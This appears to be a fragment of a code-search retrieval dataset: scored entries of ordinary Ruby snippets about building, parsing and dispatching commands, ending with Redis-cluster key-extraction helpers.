"text": "def construct_commands(input_directory, output_directory, file_prefix)\n rep_time = @config[:repetition_time] ? @config[:repetition_time] : 8000\n to3d_recon_options = \"-time:zt #{@config[:slices_per_volume]} #{@config[:volumes]} #{rep_time} #{@config[:slice_order]} #{input_directory}/#{@config[:file_glob]}\"\n \n commands = Array.new\n \n # Recon\n commands << \"to3d -prefix #{file_prefix}.nii -session #{output_directory} #{to3d_recon_options}\"\n \n # Eddy Current Correction\n commands << \"eddy_correct #{output_directory}/#{file_prefix}.nii #{output_directory}/#{file_prefix}_ecc.nii 0\"\n \n if @config[:rotate]\n # Rotate_bvecs\n subject_bvectors_file = File.join(output_directory, file_prefix + \"_\" + File.basename(@config[:bvectors_file]))\n commands << \"rotbvecs #{@config[:bvectors_file]} #{subject_bvectors_file} #{File.join(output_directory, file_prefix)}_ecc.ecclog\"\n else\n subject_bvectors_file = @config[:bvectors_file]\n end\n \n \n # Apply Mask\n if @config[:mask]\n out = \"#{File.join(output_directory, file_prefix)}_ecc_ss\"\n commands << \"fslmaths #{@config[:mask]} -mul #{File.join(output_directory, file_prefix)}_ecc #{out}\"\n else\n out = \"#{File.join(output_directory, file_prefix)}_ecc\"\n end\n commands << \"bet #{out} #{out}_brain -f 0.1 -g 0 -n -m\"\n \n # Run DTI Fit\n commands << \"dtifit --data=#{output_directory}/#{file_prefix}_ecc.nii \\\n --out=#{output_directory}/#{file_prefix}_dti \\\n --mask=#{out}_brain_mask \\\n --bvecs=#{subject_bvectors_file} \\\n --bvals=#{@config[:bvalues_file]}\"\n\n return commands\n end",
"title": ""
},
{
"docid": "6ddbdeb41e726424de0dbeae6e715622",
"score": "0.5556872",
"text": "def commands() = %i[]",
"title": ""
},
{
"docid": "1aba944bfdd15ffc2703fc01ef2c7032",
"score": "0.55537075",
"text": "def commands\n version_commands + support_commands\n end",
"title": ""
},
{
"docid": "0295408e0e6ec8ea1eaa47a311270cf9",
"score": "0.55458647",
"text": "def parse\n begin\n input_commands = File.read(@path)\n rescue\n puts \"Invalid Path.\"\n end\n if !input_commands.nil?\n input_commands.each_line do |f|\n if !f.nil?\n result = f.strip.downcase\n result = result.split(/\\s+/, 2)\n if result.length > 1\n result[1] = result[1].split(/\\s*,\\s*/)\n result[1][0] = Parser.convert(result[1][0])\n result[1][1] = Parser.convert(result[1][1])\n end\n self.cmd(result)\n end\n end\n end\n end",
"title": ""
},
{
"docid": "3289286c970e83954371bd529cf63af0",
"score": "0.55447316",
"text": "def commands_for_vm\n [{:write_file => {:filename => 'prewebpiraten.erl', :content => @precompile_code}},\n {:execute => {:command => 'erlc -W0 prewebpiraten.erl', :stderr => 'precompile', :stdout => 'precompile', :permissions => 'read-write'}},\n {:execute => {:command => 'echo ok', :stdout => 'precompileok'}}]\n end",
"title": ""
},
{
"docid": "9b4226d2df87dee047ece7aa9f267455",
"score": "0.5543798",
"text": "def changed_files\n @repository.chdir do\n @changed ||= @repository.status.changed.to_a.map(&:first)\n end\n end",
"title": ""
},
{
"docid": "02771b4f8d150be0d3614a3c0031607b",
"score": "0.554101",
"text": "def updated_source_file; end",
"title": ""
},
{
"docid": "f666575d130d4402894fca78c8c1ca3a",
"score": "0.55384874",
"text": "def commands\n\t\t\t# Don't update super here since we don't want the commands from\n\t\t\t# super, just the methods\n\t\t\t{\n\t\t\t\t\"edit\" => \"A handy editor commmand\"\n\t\t\t}\n\t\tend",
"title": ""
},
{
"docid": "74c0da03ed1c61ab968379b28b7e812b",
"score": "0.55343634",
"text": "def run_on_change(paths)\n system(build_command)\n end",
"title": ""
},
{
"docid": "43b20115e3db0f3e3aa7964f197a46f4",
"score": "0.5531744",
"text": "def changes\n @changes ||= path.glob('*.yml').map { |f| Changefu::Change.from_file(f) }.sort_by(&:timestamp)\n end",
"title": ""
},
{
"docid": "98eee2eb45eb3410c369cd08302d39de",
"score": "0.55277103",
"text": "def load_commands\n # loop over the commands, put them into Command\n @knife_commands.each do |category,command_arr|\n dbg 'category', category\n command_arr.each do |command|\n dbg 'command', command\n commands = command.split( /_/ )\n @cmd_root.add_command commands\n end\n end\n end",
"title": ""
},
{
"docid": "a9846e2b28e94e78bdfb376eac86cef3",
"score": "0.552209",
"text": "def command_set; end",
"title": ""
},
{
"docid": "a9846e2b28e94e78bdfb376eac86cef3",
"score": "0.552209",
"text": "def command_set; end",
"title": ""
},
{
"docid": "9659882a828f97b99f560cb36563bbba",
"score": "0.5521665",
"text": "def rememberCommands\n regx = /\\.rb$/\n commandPath = File.join(@root,'commands')\n Dir.foreach(commandPath) do |filename|\n if (filename =~ regx) \n loadCommand File.join(commandPath,filename)\n puts '['+filename+'] loaded.'\n end\n end\nend",
"title": ""
},
{
"docid": "02dc0589eb517f586f86cb736ea072aa",
"score": "0.5516984",
"text": "def edit_cmd\n case @ext\n when 'java'\n \"java -cp #{@dir} Main\"\n when 'rb'\n \"ruby #{@dir}/#{@base}.rb\"\n when 'cs'\n case which_os\n when :windows\n \"#{@dir}/#{@base}.exe\"\n else\n \"mono #{@dir}/#{@base}.exe\"\n end\n else # c, cxx\n case which_os\n when :windows\n \"#{@dir}/#{@base}.exe\"\n else\n \"#{@dir}/#{@base}\"\n end\n end\n end",
"title": ""
},
{
"docid": "1539328a2eec8b09408963bcc5f83aae",
"score": "0.5513178",
"text": "def filesChanged(path, filesChangedpath, commit, repo_type, count, clue)\n\t\tDir.chdir(\"#{path}\") do\n\t\t\tFileUtils.mkdir_p(\"#{filesChangedpath}\")\n\t\t\tFile.open(\"#{filesChangedpath}/AbouttheCommit.txt\", \"w\") do |changedfiles|\n\t\t\t\tchangedfiles.puts %x{git log -1 -U #{commit}} if repo_type == \".git\"\n\t\t\t\tchangedfiles.puts %x{svn log -#{commit}} if repo_type == \".svn\"\n\t\t\t\tchangedfiles.puts %x{hg log -r #{commit}} if repo_type == \".hg\"\n\t\t\tend\n\t\t\t\n\t\t\t%x{git reset --hard #{commit}} if repo_type == \".git\"\n\t\t\t%x{svn update --revision #{commit}} if repo_type == \".svn\"\n\t\t\t%x{hg update -C #{commit}} if repo_type == \".hg\"\n\t\t\trevision = %x{svn info | grep \"Revision\" | awk '{print $2}'} if repo_type == \".svn\"\n\n\t\t\tFile.open(\"#{filesChangedpath}/ListOfChangedFilesName.txt\", \"w\") do |changedfileslist|\n\t\t\t\t## bring all files for the first commit then just bring the changed files\n\t\t\t\tif clue == \"Donor\"\n\t\t\t\t\tif count == 1\n\t\t\t\t\t\tchangedfileslist.puts %x{git ls-files} if repo_type == \".git\"\n\t\t\t\t\t\tchangedfileslist.puts %x{svn log --verbose -#{commit}}.scan(/(?<=[MA]\\s).+/) if repo_type == \".svn\"\n\t\t\t\t\t\tchangedfileslist.puts %x{hg status --all}.scan(/(?<=[CMI]\\s).+/) if repo_type == \".hg\"\n\t\t\t\t\telse\n\t\t\t\t\t\tchangedfileslist.puts %x{git show --diff-filter=AM --pretty=\"format:\" --name-only #{commit}} if repo_type == \".git\"\n\t\t\t\t\t\tchangedfileslist.puts %x{svn log --verbose -#{commit}}.scan(/(?<=[MA]\\s).+/) if repo_type == \".svn\"\n\t\t\t\t\t\tchangedfileslist.puts %x{hg status --change #{commit}}.scan(/(?<=^[MA]\\s).+/) if repo_type == \".hg\"\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tchangedfileslist.puts %x{git show --diff-filter=AM --pretty=\"format:\" --name-only #{commit}} if repo_type == \".git\"\n\t\t\t\t\tchangedfileslist.puts %x{svn log --verbose -#{commit}}.scan(/(?<=[MA]\\s).+/) if repo_type == \".svn\"\n\t\t\t\t\tchangedfileslist.puts %x{hg status --change #{commit}}.scan(/(?<=^[MA]\\s).+/) if repo_type == \".hg\"\n\t\t\t\tend\n\n\t\t\tend\n\t\t\tgetfiles(path, filesChangedpath, repo_type)\n\t\tend\n\tend",
"title": ""
},
{
"docid": "2d93e976754e1fd3689012c2b74e399e",
"score": "0.54971087",
"text": "def run_on_change(paths)\n paths.each do |file|\n unless File.basename(file)[0] == \"_\"\n UI.info \"Running commit for #{file}...\"\n commit_result = `krl commit`\n UI.info commit_result\n icon = commit_result.match(/Committed version: \\d+/) ? :success : :failed\n Notifier.notify commit_result, :title => \"KRL Watcher\", :image => icon\n end\n end\n end",
"title": ""
},
{
"docid": "183e80ceef0f3135ebd365aac8e0f8ea",
"score": "0.54968643",
"text": "def command file, out = nil\n\t\t\t\t[name, *options, *include_path, \"-c\", file] + (out ? [\"-o\", out] : [])\n\t\t\tend",
"title": ""
},
{
"docid": "46e4946b1e097c6421fc25068e5e3003",
"score": "0.54943496",
"text": "def commands\n\t\tend",
"title": ""
},
{
"docid": "04ebe863ed5e73d7b4833e8d2260d5a8",
"score": "0.5492935",
"text": "def add_cmd_auto_correct_design_file cmds,functional_file_name,modified_design_file_path\n\n # Auto-correction needs to be done on the task node (i.e. in\n # the task script), not on the Bourreau host. Otherwise, FSL\n # needs to be installed on the Bourreau node, which might not\n # be the case (e.g. in case the task runs in a Docker container).\n if params[:npts_auto] == \"1\"\n command=<<-END\n# Auto-corrects fmri(npts) unless #{functional_file_name} was excluded or correction was already done.\nif [ -z ${EXCLUDED_FILES[\\'#{functional_file_name}\\']+x} ] && [ -z ${NPTS_CORRECTED+z} ]\nthen\n NPTS=`${FSLNVOLS} #{functional_file_name}`\n if [ $? != 0 ]\n then\n error \"Cannot auto-correct number of volumes in #{functional_file_name} '(fslnvols failed)'.\"\n fi\n info \"Auto-corrected number of volumes to ${NPTS}.\"\n NPTS_CORRECTED=true\nfi\nEND\n cmds << command\n cmds << set_design_file_option(modified_design_file_path,\"npts\",\"${NPTS}\")\n end\n\n\n if params[:tr_auto] == \"1\"\n command=<<-END\n# Auto-corrects parameter fmri(tr) unless #{functional_file_name} was excluded or correction was already done.\nif [ -z ${EXCLUDED_FILES[\\'#{functional_file_name}\\']+x} ] && [ -z ${TR_CORRECTED+z} ]\nthen\n TR=`${FSLHD} #{functional_file_name} | awk '$1==\\\"pixdim4\\\" {print $2}'`\n if [ $? != 0 ]\n then\n error \"Cannot auto-correct TR in #{functional_file_name} '(fslhd failed)'.\"\n fi\n info \"Auto-corrected TR to ${TR}.\"\n TR_CORRECTED=true\nfi\nEND\n cmds << command\n cmds << set_design_file_option(modified_design_file_path,\"tr\",\"${TR}\")\n end\n\n if params[:totalvoxels_auto] == \"1\"\n command=<<-END\n# Auto-corrects parameter fmri(totalVoxels) unless #{functional_file_name} was excluded or correction was already done.\nif [ -z ${EXCLUDED_FILES[\\'#{functional_file_name}\\']+x} ] && [ -z ${NVOX_CORRECTED+z} ]\nthen\n NVOX=`${FSLSTATS} #{functional_file_name} -v | awk '{print $1}'`\n if [ $? != 0 ]\n then\n error \"Cannot auto-correct number of voxels in #{functional_file_name} '(fslstats failed)'.\"\n fi\n info \"Auto-corrected total voxels to ${NVOX}.\"\n NVOX_CORRECTED=true\nfi\nEND\n cmds << command\n cmds << set_design_file_option(modified_design_file_path,\"totalVoxels\",\"${NVOX}\")\n end\n end",
"title": ""
},
{
"docid": "cede47c211d2981d967474112a964d89",
"score": "0.5492718",
"text": "def apply_changes\n @changes.each do |change, *args|\n case change\n when :line\n line, = *args\n @fd.puts line\n when :code_block\n body, lang = *args\n @fd.puts <<~MD\n ```#{lang}\n #{body.chomp}\n ```\n MD\n end\n end\n @changes = []\n end",
"title": ""
},
{
"docid": "0d06d8492e04319078fca894ebd31257",
"score": "0.5482717",
"text": "def split_commands(cmd_line); end",
"title": ""
},
{
"docid": "0d077493126ba1c6a4882f9304f77d51",
"score": "0.54808587",
"text": "def writeFileTranslator(asmFile, filesWithLines)\n #new write only file object with the file name passed above\n outFile = File.new(asmFile, \"w\")\n\n #checking if the file has an initializing file called Sys.vm\n if checkForBootStrap(filesWithLines)\n #implimenting the bootstrap code if it does\n outFile.syswrite(bootStrap)\n end\n\n #will write the files' content file by file\n for i in 0..filesWithLines.size-1\n fileName = filesWithLines[i][0]\n lines = filesWithLines[i][1]\n\n #j will be used to create new jump locations for the comparison operators\n j = 0\n\n #newFileName is the fileName without the path or .vm at the end\n newFileName = getFileName(fileName)\n\n #will convert the vm commands in each file line by line\n lines.each do |it| cmd = it.split(' ')\n newCmd = convertCommand(cmd, j, newFileName)\n outFile.syswrite(newCmd)\n outFile.syswrite(\"\\n\")\n j = j + 1\n end\n\n puts fileName + \" was translated\" +\"\\n\"\n end\n\n #writes the new commands to the output file\n outFile.syswrite(endProgram())\nend",
"title": ""
},
{
"docid": "2d2a59cf0ce2fd0b23aaf9be806e2454",
"score": "0.547927",
"text": "def changes path\n end",
"title": ""
},
{
"docid": "894d48e42e2ee3dbdaef569f9f55dbde",
"score": "0.5475827",
"text": "def run\n normalize_count = 0\n\n if generate_gitattributes?\n output_options = {:prefix => '# DO NOT EDIT: File is auto-generated', :normalize => true}\n new_gitattributes = generate_gitattributes!\n new_content = new_gitattributes.as_file_contents(output_options)\n old_content = File.exist?(@attributes.attributes_file) ? IO.read(@attributes.attributes_file) : nil\n if new_content != old_content\n @attributes = new_gitattributes\n if check_only?\n puts 'Non-normalized .gitattributes file'\n else\n puts 'Fixing: .gitattributes'\n @attributes.write(output_options)\n end\n normalize_count += 1\n end\n end\n\n files = {}\n\n collect_file_attributes(files)\n\n files.each_pair do |filename, config|\n full_filename = \"#{@base_directory}/#{filename}\"\n original_bin_content = File.binread(full_filename)\n\n encoding = config[:encoding].nil? ? 'utf-8' : config[:encoding].gsub(/^UTF/,'utf-')\n\n content = File.read(full_filename, :encoding => \"bom|#{encoding}\")\n\n content =\n config[:dos] ?\n clean_dos_whitespace(filename, content, config[:eofnl], config[:allow_empty]) :\n clean_whitespace(filename, content, config[:eofnl], config[:allow_empty])\n if config[:nodupnl]\n while content.gsub!(/\\n\\n\\n/, \"\\n\\n\")\n # Keep removing duplicate new lines till they have gone\n end\n end\n if content.bytes != original_bin_content.bytes\n normalize_count += 1\n if check_only?\n puts \"Non-normalized whitespace in #{filename}\"\n else\n puts \"Fixing: #{filename}\"\n File.open(full_filename, 'wb') do |out|\n out.write content\n end\n end\n end\n end\n\n normalize_count\n end",
"title": ""
},
{
"docid": "2acc5eb12decab98409567c8545a17a3",
"score": "0.5464484",
"text": "def changing(*files)\n support! :file_stats\n\n commits = CommitCollection.new\n each do |commit|\n commit_files = commit.added_files + commit.deleted_files + commit.modified_files\n commits << commit unless (commit_files & files).empty?\n end\n commits\n end",
"title": ""
},
{
"docid": "edad5b4813cb2323ccbef844af420a39",
"score": "0.5452835",
"text": "def load_all_commands\n GitStyleBinary.subcommand_names.each do |name|\n cmd_file = GitStyleBinary.binary_filename_for(name)\n GitStyleBinary.load_command_file(name, cmd_file)\n end\n end",
"title": ""
},
{
"docid": "1d44c9ad4f34e0752aa2f614f9a947eb",
"score": "0.5442808",
"text": "def build_me(command_class, file)\n rdoc = DbAgile::RubyTools::rdoc_file_paragraphs(file)\n summary, usage, description = rdoc.shift, rdoc.shift, rdoc.join(\"\\n\")\n command_class.instance_eval{\n @summary = summary\n @usage = usage.gsub('#{command_name}', command_class.command_name)\n @description = description.gsub('#{command_name}', command_class.command_name)\n }\n end",
"title": ""
},
{
"docid": "b32fbc53f4a002063834054ec54fd213",
"score": "0.5413136",
"text": "def execute\r\n todo_regexp = %r\"#{$delimiter}\\W*TODO\\W+(.*?)$\"\r\n info \"base = #{$base}\"\n info \"extension = #{$extension}\"\r\n Dir.foreach( $base ) { |filename|\r\n if filename =~ %r\"\\.#{$extension}\" then\n \tinfo FileUtils.pwd\r\n File.open( \"#{$base}/#{filename}\", \"r\" ) { |file|\r\n # iterate through the lines of the file\r\n count = 0\r\n file.each_line { |line|\r\n count += 1\r\n line.scan( todo_regexp ) {\r\n puts \"#{filename}, line #{count}: #{$1}\"\r\n }\r\n }\r\n }\r\n end\r\n }\r\n end",
"title": ""
},
{
"docid": "b0315316279a4cb14642e3e24d10de80",
"score": "0.5412082",
"text": "def parse\n @file = File.open(@filepath)\n\n @file.each do |line|\n # Get first word\n # (returns whole word if is the only one on the line)\n current = line.partition(' ')[0].chomp\n\n if current == \"sudo\"\n current = line.partition(' ')[1].chomp # get second word\n end\n\n if current == \"\" or current =~ /^\\s.*$/ # purely blank lines\n @blank.add\n next\n end\n\n # Will look into our \"command database\" and\n # add one count if found.\n found = false\n @all.each do |command|\n if command.text == current\n command.add\n found = true\n break\n end\n end\n\n # Or will add current command if not found.\n if not found\n command = Command.new(current)\n @all.push command\n end\n end\n\n all.sort! # Will sort in ascending order\n end",
"title": ""
},
{
"docid": "701bfd921ccdb47ec174efef61744df6",
"score": "0.54082495",
"text": "def commands\n\t\t\t{\n\n\t\t\t}\n\t\tend",
"title": ""
},
{
"docid": "5758dadc88f8a85ab9eb5f7f91a882e2",
"score": "0.5397747",
"text": "def commands=(_arg0); end",
"title": ""
},
{
"docid": "729fa8794c70ebedb4d4926bdbc79bc6",
"score": "0.5387049",
"text": "def initialize\n @commands = {}\n register_command :build\n register_command :cert\n register_command :check\n register_command :contents\n register_command :dependency\n register_command :environment\n register_command :help\n register_command :install\n register_command :outdated\n register_command :pristine\n register_command :query\n register_command :list\n register_command :rdoc\n register_command :search\n register_command :sources\n register_command :specification\n register_command :uninstall\n register_command :unpack\n register_command :cleanup\n register_command :update\n end",
"title": ""
},
{
"docid": "bebadfcf8d8a077573856f895a39207e",
"score": "0.53846943",
"text": "def process_command\r\n if @line.to_i > 0\r\n @current_line_number = @line.to_i\r\n elsif @line.length == 1\r\n case @line\r\n when 'i' #edit\r\n @mode = EDIT\r\n @dirty = true\r\n when 'w' #write\r\n write_file\r\n when 'p' #print\r\n print_current_line\r\n when 'q' #quit\r\n safe_quit\r\n when '?' #help\r\n self.class.help\r\n else\r\n error\r\n end\r\n else\r\n error\r\n end\r\n end",
"title": ""
},
{
"docid": "17be1af2018d6cb1a9f1cdf6b0adb703",
"score": "0.53840476",
"text": "def process_commands\n if ARGV.empty?\n commit\n else\n commands = %w{ log history restore }\n while arg = ARGV.shift\n if commands.include?(arg)\n self.send(arg)\n else\n fail \"Unknown command #{arg}\"\n end\n end\n end\nend",
"title": ""
},
{
"docid": "e24bb6a2c0af72132a42538304e455a3",
"score": "0.5383954",
"text": "def run_on_change(changed_paths)\n extra = @delete ? ['--delete'] : []\n standard_rsync(extra + ['-v'])\n end",
"title": ""
},
{
"docid": "1f6c05c03e30549491b72ec96553510b",
"score": "0.5377939",
"text": "def migrate_commands; end",
"title": ""
},
{
"docid": "f444538b28b5ae5b8fe2c8cc6b034fc9",
"score": "0.5376213",
"text": "def run_on_change(paths)\n paths.each do |file|\n unless File.basename(file)[0] == \"_\"\n File.open(get_output(file), 'w') {|f| f.write(build_sass(file)) }\n end\n puts \"-> rebuilt #{file}\"\n end\n end",
"title": ""
},
{
"docid": "1db7d90d0f159d21014dae5f04fdb70a",
"score": "0.5371551",
"text": "def make_command_list\n @cat = ESTRIOLE::ALL_TXT_CATEGORY.sample if !@cat\n entries = $game_system.notebook_entries.select {|entry|\n cat = ESTRIOLE::FILE_READER_SETTING[entry][:category].collect{|c| c.upcase} rescue ESTRIOLE::DEFAULT_TXT_CATEGORY.collect{|c| c.upcase}\n cat = cat + ESTRIOLE::ALL_TXT_CATEGORY.collect{|c| c.upcase}\n cat.uniq!\n a = cat.include?(@cat.upcase) rescue false\n } \n if @sort\n chk = eval(ESTRIOLE::SORTING_RULE[@sort]) rescue nil\n end \n for entry in entries\n add_command(entry, :entry)\n end\n $game_temp.notebook_entries_count = entries.size\n end",
"title": ""
},
{
"docid": "ba93e8da0987440e6044930e72e8bfae",
"score": "0.5370451",
"text": "def initialize(file_path)\n\t\t@file_path = file_path\n\t\t@commands = []\n\t\t@file_name = file_path[file_path.rindex('/') + 1 ... file_path.rindex('.')]\n\tend",
"title": ""
},
{
"docid": "c44101062326ee163fb7b28e3e5a7f23",
"score": "0.53691685",
"text": "def compile(changed_file_paths=[])\n `ruby gen.rb #{changed_file_paths.join(\" \")}`\nend",
"title": ""
},
{
"docid": "9115f499cddc31afdfa12a2e2964a46c",
"score": "0.5360523",
"text": "def chfname(filename) \n return \"changes/#{filename}\"\nend",
"title": ""
},
{
"docid": "f13ad61004b7c201573356539564e223",
"score": "0.53577065",
"text": "def prep_cp_string(instring,dirname,fname)\n ostring = \"\"\n @previous_is_command=nil;\n lineno = 0\n while s = instring.shift\n lineno += 1\n#\n# should check if :command: etc directives contains save or not here\n# and edit s if that's the case.\n# \n saveresult=false\n s=s.gsub(/:(\\w+)save:/){saveresult=true;\":\"+$1+\":\"}\n if s.index(\"#\") == 0\n print \"comment line skipped \",s, \"\\n\"\n elsif s =~ /^(\\s*):in.*code:/ and s.index(\"\\\":inccode:\\\"\")==nil\n\ts.sub!(/:in.*code:/, ':include: ')\n raise \"failed to open file #{s.split[1]}\" unless file_is_there(s.split[1])\n\tostring = ostring + @@verbatim_pre_separator\n\tostring = ostring + s\n\tostring = ostring + @@verbatim_post_separator\n elsif s =~ /^(\\s*):output:/\n\tostring = ostring + add_output(s, dirname, \":output:\",fname,\n lineno,saveresult)\n elsif s =~ /^(\\s*):commandoutput:/ and s.index(\"\\\":commandoutput:\\\"\")==nil\n\tostring = ostring + add_output(s, dirname, \":commandoutput:\",\n\t\t\t\t\tfname,lineno, saveresult)\n elsif s=~ /^(\\s*):commandnooutput:/ and s.index(\"\\\":commandnooutput:\\\"\")==nil\n\tostring = ostring + add_output(s, dirname, \":commandnooutput:\",\n\t\t\t\t\tfname,lineno, saveresult)\n elsif s=~ /^(\\s*):command:/ and s.index(\"\\\":command:\\\"\")==nil\n\tostring = ostring + add_output(s, dirname, \":command:\",\n\t\t\t\t\tfname,lineno, saveresult)\n elsif s=~/^(\\s*):prompt:/ and s.index(\"\\\":prompt:\\\"\")==nil\n\tset_prompt(s)\n elsif s=~ /^(\\s*):commandinputoutput:/\n\tostring = ostring + command_with_input(s,\":commandinputoutput:\", \n\t\t\t\t instring,dirname,true, true,saveresult)\n elsif s=~ /^(\\s*):commandinputoutputnoecho:/\n\tostring = ostring + command_with_input(s,\":commandinputoutputnoecho:\", \n\t\t\t\t instring,dirname,true, false,saveresult)\n elsif s =~ /^(\\s*):commandinput:/\n\tostring = ostring + command_with_input(s,\":commandinput:\", instring,\n\t\t\t\t dirname,false, true,saveresult)\n else\n\tostring += @@verbatim_post_separator if @previous_is_command\n\tostring += s \n\t@previous_is_command = nil \n end\n end\n ostring\n end",
"title": ""
},
{
"docid": "358dc22090ba401e6de36b06bd3a0556",
"score": "0.53562176",
"text": "def pre_process_input_data_file cmds,file_id,design_file_option,new_options\n\n # Converts minc files to nifti.\n converted_file_name , conversion_command = converted_file_name_and_command(file_id)\n if conversion_command.present?\n cmds << conversion_command\n params[:converted_files][file_id] = converted_file_name\n end\n\n # Modifies paths of file in the design file when task goes to VM.\n converted_file_name = modify_file_path_for_vm(converted_file_name) if self.respond_to?(\"job_template_goes_to_vm?\") && self.job_template_goes_to_vm?\n\n # Adds new file to design file\n new_options[design_file_option] = \"\\\"#{converted_file_name}\\\"\"\n\n return converted_file_name\n end",
"title": ""
},
{
"docid": "e8b38404940cbf27409febd4c10d318e",
"score": "0.5355685",
"text": "def process\n parser = Parser::CurrentRuby.new\n file_pattern = File.join(Configuration.instance.get(:path), @file_pattern)\n Dir.glob(file_pattern).each do |file_path|\n unless Configuration.instance.get(:skip_files).include? file_path\n begin\n source = File.read(file_path)\n buffer = Parser::Source::Buffer.new file_path\n buffer.source = source\n\n parser.reset\n ast = parser.parse buffer\n\n @current_file = file_path\n @current_source = source\n @current_node = ast\n instance_eval &@block\n @current_node = ast\n\n @actions.sort!\n check_conflict_actions\n @actions.reverse.each do |action|\n source[action.begin_pos...action.end_pos] = action.rewritten_code\n source = remove_code_or_whole_line(source, action.line)\n end\n @actions = []\n\n File.write file_path, source\n end while !@conflict_actions.empty?\n end\n end\n end",
"title": ""
},
{
"docid": "eccc6853fd6075112252cce503d7bf16",
"score": "0.5350921",
"text": "def commit_helper_added(ready_for_commit)\n\t\tready_for_commit.each do |file|\n\t\t\ttype = File.extname(file)\n\t\t\tfile.slice!('@')\n\t\t\tfile.slice!(type)\n\t\t\tinitialize_files(@branch_dir , set_filename_in_rep(file, type) , read_file(@currentDir, file + type))\n\t\tend\n\t\t# updates the information in the currentBranch file and the branches file\n\t\tupdate_currentBranchfile()\n\t\tupdate_branches()\n\t\tdelete_ready_for_commitfiles()\n\tend",
"title": ""
},
{
"docid": "59cb981b66bbe2e0051edbb65da3ae91",
"score": "0.5349599",
"text": "def run_commands_for_file(file)\n if file and !file.empty?\n commands = test_framework.construct_commands(file)\n run!(commands)\n end\n end",
"title": ""
},
{
"docid": "1a9adc75a3d355507a4486cc07a38983",
"score": "0.53460836",
"text": "def add_command(command); end",
"title": ""
},
{
"docid": "1a9adc75a3d355507a4486cc07a38983",
"score": "0.53460836",
"text": "def add_command(command); end",
"title": ""
}
] |
71d4692e23a9a96ace980518e5b2732b
|
Return the first key in the command arguments. Currently we just return argv[1], that is, the first argument after the command name. This is indeed the key for most commands, and when it is not true the cluster redirection will point us to the right node anyway. For commands we want to explicitly bad as they don't make sense in the context of cluster, nil is returned.
|
[
{
"docid": "79111c515a3d072e64a3833a1015eb3f",
"score": "0.83405936",
"text": "def get_key_from_command(argv)\n case argv[0].to_s.downcase\n when \"info\",\"multi\",\"exec\",\"slaveof\",\"config\",\"shutdown\"\n return nil\n when \"bitop\"\n return argv[2]\n else\n # Unknown commands, and all the commands having the key\n # as first argument are handled here:\n # set, get, ...\n return argv[1]\n end\n end",
"title": ""
}
] |
[
{
"docid": "a6fa930f8893ad9bf7d6dc2078b3c1b2",
"score": "0.8375654",
"text": "def get_key_from_command(argv)\n case argv[0].to_s.downcase\n when \"info\",\"multi\",\"exec\",\"slaveof\",\"config\",\"shutdown\"\n return nil\n when \"bitop\"\n return argv[2]\n else\n # Unknown commands, and all the commands having the key\n # as first argument are handled here:\n # set, get, ...\n return argv[1]\n end\n end",
"title": ""
},
{
"docid": "961c8da2bf29bbeeec05fcab15b31f4f",
"score": "0.83235425",
"text": "def get_key_from_command(argv)\n case argv[0].to_s.downcase\n when \"info\",\"multi\",\"exec\",\"slaveof\",\"config\",\"shutdown\",\"select\"\n nil\n else\n # Unknown commands, and all the commands having the key\n # as first argument are handled here:\n # set, get, ...\n argv[1]\n end\n end",
"title": ""
},
{
"docid": "052a59e61dbcbbdd006a98d32b2e4098",
"score": "0.635178",
"text": "def retrieve_command_name(args) #:nodoc:\n meth = args.first.to_s unless args.empty?\n args.shift if meth && (map[meth] || meth !~ /^\\-/)\n end",
"title": ""
},
{
"docid": "3032eb3d6ea26724db4f60616c28f909",
"score": "0.61743426",
"text": "def get_key(line)\n line.match(/-k ([^ ]+)/)[1]\n end",
"title": ""
},
{
"docid": "74189b228ef015022683e45f07b071dc",
"score": "0.6163486",
"text": "def [](key)\n return @args[key]\n end",
"title": ""
},
{
"docid": "e308217bc0dfa7cd6a4cfa56eec052aa",
"score": "0.6052886",
"text": "def getKey; @args.map { |a| a.to_s }.join(':').to_sym end",
"title": ""
},
{
"docid": "675368255b7e77dd71f258628e8af18d",
"score": "0.59627926",
"text": "def [](cmd_val)\n k = Argument.to_key(cmd_val)\n @commands[k]\n end",
"title": ""
},
{
"docid": "0cfb3f0561fb389754eeb45a81186f15",
"score": "0.59537816",
"text": "def [](key)\n @args[key]\n end",
"title": ""
},
{
"docid": "5a2e3cce714ad43a55a8eeee4b88d434",
"score": "0.5937492",
"text": "def find_serverID(argv)\n begin\n # search argv for server_id\n argv.each { |argument|\n match = /(-i|--server_id)=(\\S+)/.match(argument)\n if match != nil\n return match[2]\n end\n }\n # if no match was found:\n raise 'No valid value for action passed.'\n\n rescue Exception => e\n puts e.message\n end\nend",
"title": ""
},
{
"docid": "618db51158db8e2800ef3f0a70c44112",
"score": "0.58565176",
"text": "def parse_command(text)\n words = wordify preprocess_input text\n \n key = nil\n args = []\n \n while 0 < words.count\n key = words.join('_').intern\n \n return key, args if @actions.has_action? key\n \n args.unshift words.pop\n end # while\n \n return nil, args\n end",
"title": ""
},
{
"docid": "cd96cbaaa41050e5003ea9ee04a83fea",
"score": "0.58352584",
"text": "def get_cli_arg( name )\n if $cli_args.has_key?(name)\n return $cli_args[name]\n else\n raise RSpec::Expectations::ExpectationNotMetError, \"Command line argument key '#{name}' not found, exiting.\"\n end\n end",
"title": ""
},
{
"docid": "b1a08a9c52b0d8de1f197d03b69c29ea",
"score": "0.5829562",
"text": "def strip_out_command_key(value)\n return value.split(' ').last\nend",
"title": ""
},
{
"docid": "062600dd9bbf36aff1a866da6e1f7b9a",
"score": "0.5825873",
"text": "def command_name=(_arg0); end",
"title": ""
},
{
"docid": "9e0273febffcceca4b7c1dd13b3b59ed",
"score": "0.5759736",
"text": "def get_command_id()\n @query['command_id'] || nil\n end",
"title": ""
},
{
"docid": "e34c07d79cefe4813487b49a3ed97529",
"score": "0.571646",
"text": "def get_command_line_argument\n if ARGV.empty?\n puts \"Usage: ruby lookup.rb <Domain>\"\n exit\n end\n ARGV.first\nend",
"title": ""
},
{
"docid": "402fe323772f7b0668fc81d275b1b623",
"score": "0.56921375",
"text": "def command_name\n return @command_name\n end",
"title": ""
},
{
"docid": "123d433d66e401295bd73abefe533d37",
"score": "0.5667214",
"text": "def command\n case first\n when '\\?' then Command::HelpCommand\n when '\\config' then Command::PrintConfigCommand\n else\n puts \"Unknown command: #{buffer}\"\n end\n end",
"title": ""
},
{
"docid": "d6c45eb55c011f85cd3e1c4b52088ff4",
"score": "0.5632185",
"text": "def machine\n\t\tif @argv.size < 1\n\t\t\treturn nil\n\t\tend\n\n\t\tif @argv[0] == '_'\n\t\t\treturn nil\n\t\tend\n\n\t\treturn @argv[0]\n\tend",
